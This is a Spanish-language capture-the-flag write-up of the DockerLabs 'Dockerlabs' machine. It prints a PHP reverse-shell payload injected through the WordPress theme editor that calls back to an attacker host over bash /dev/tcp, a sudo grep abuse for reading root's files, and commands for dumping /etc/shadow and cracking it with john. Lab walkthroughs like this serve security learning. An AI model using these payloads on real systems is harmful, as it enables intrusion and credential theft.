Dockerlabs

TL;DR. La máquina homónima de DockerLabs monta un WordPress sobre Apache. El foothold es una revshell PHP colocada en el WordPress que da www-data, y la escalada es un privilegio sudo tan discreto como fatal: grep como root. Un sudo grep recursivo sobre el home de root lee sus ficheros (y con ellos su contraseña), de modo que su root cierra la caja. De propina, se vuelca /etc/shadow y se crackea con john. Nota: las capturas originales de esta caja son enlaces externos ya no accesibles, así que las salidas se describen en texto y los valores que solo vivían en esas imágenes van como marcadores.

Reconocimiento

Escaneo inicial

El escaneo de puertos deja un único servicio web sobre el puerto 80.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>

PORT   STATE SERVICE
80/tcp open  http

nmap -p80 -sCV <ip> -oN targeted
whatweb http://<ip>

Fuzzing de directorios

dirsearch y gobuster (incluyendo la extensión php) descubren la instalación de WordPress:

dirsearch -u http://<ip>
gobuster dir -w directory-list-2.3-medium.txt -u http://<ip> -x php -t 200

Shell como www-data

Con acceso al gestor de WordPress, la vía habitual para ejecutar código es el editor de temas/plugins: se inserta un PHP que abre una reverse shell directa contra la máquina atacante (aquí 172.17.0.1, puerto 443):

<?php exec("bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'")?>

Con la atacante a la escucha en el 443:

nc -nlvp 443

al cargar el recurso cae la shell como www-data.

Escalada de privilegios

www-data → root (sudo grep)

www-data puede ejecutar grep como root sin contraseña:

sudo -l

User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/grep

grep como root es una lectura arbitraria en toda regla (GTFOBins): puede volcar el contenido de cualquier fichero al que solo root tiene acceso. Un recursivo sobre el home de root imprime sus ficheros (y, con ellos, la contraseña que guarda dentro):

sudo -u root grep -r "^[a-zA-Z]" root/

Con esa contraseña, se cambia a root:

su root

Adicional: volcar y crackear /etc/shadow

Ya como root (o incluso solo con el sudo grep), se puede volcar /etc/shadow y crackear el hash con john para consolidar la credencial. Los hashes de estas cajas suelen ser yescrypt, que john reconoce con el formato crypt:

cat /etc/shadow
john --format=crypt --wordlist=rockyou.txt hash --fork=5

Cadena de ataque

HTTP  ->  gobuster  ->  WordPress
    └─> editor de tema/plugin  ->  revshell PHP  ->  www-data
            └─> sudo grep como root (GTFOBins)  ->  lee la contraseña de root  ->  su root
                    └─> (adicional) volcar /etc/shadow + john

Lecciones aprendidas

• sudo grep es lectura arbitraria como root. Parece inofensivo, pero volcar cualquier fichero (contraseñas, /etc/shadow, claves) es media escalada; GTFOBins lo cataloga por algo.
• El editor de WordPress es RCE por diseño. Quien controla el panel puede escribir PHP en el tema activo; restringir el editor (DISALLOW_FILE_EDIT) corta esta vía tan trillada.
• Guardar contraseñas en el home de root es regalarlas. En cuanto un vector concede lectura de esos ficheros, la credencial se filtra sin necesidad de crackear nada.
• yescrypt se ataca con john --format=crypt. Reconocer el algoritmo del hash marca la diferencia entre un crackeo que avanza y uno que no arranca.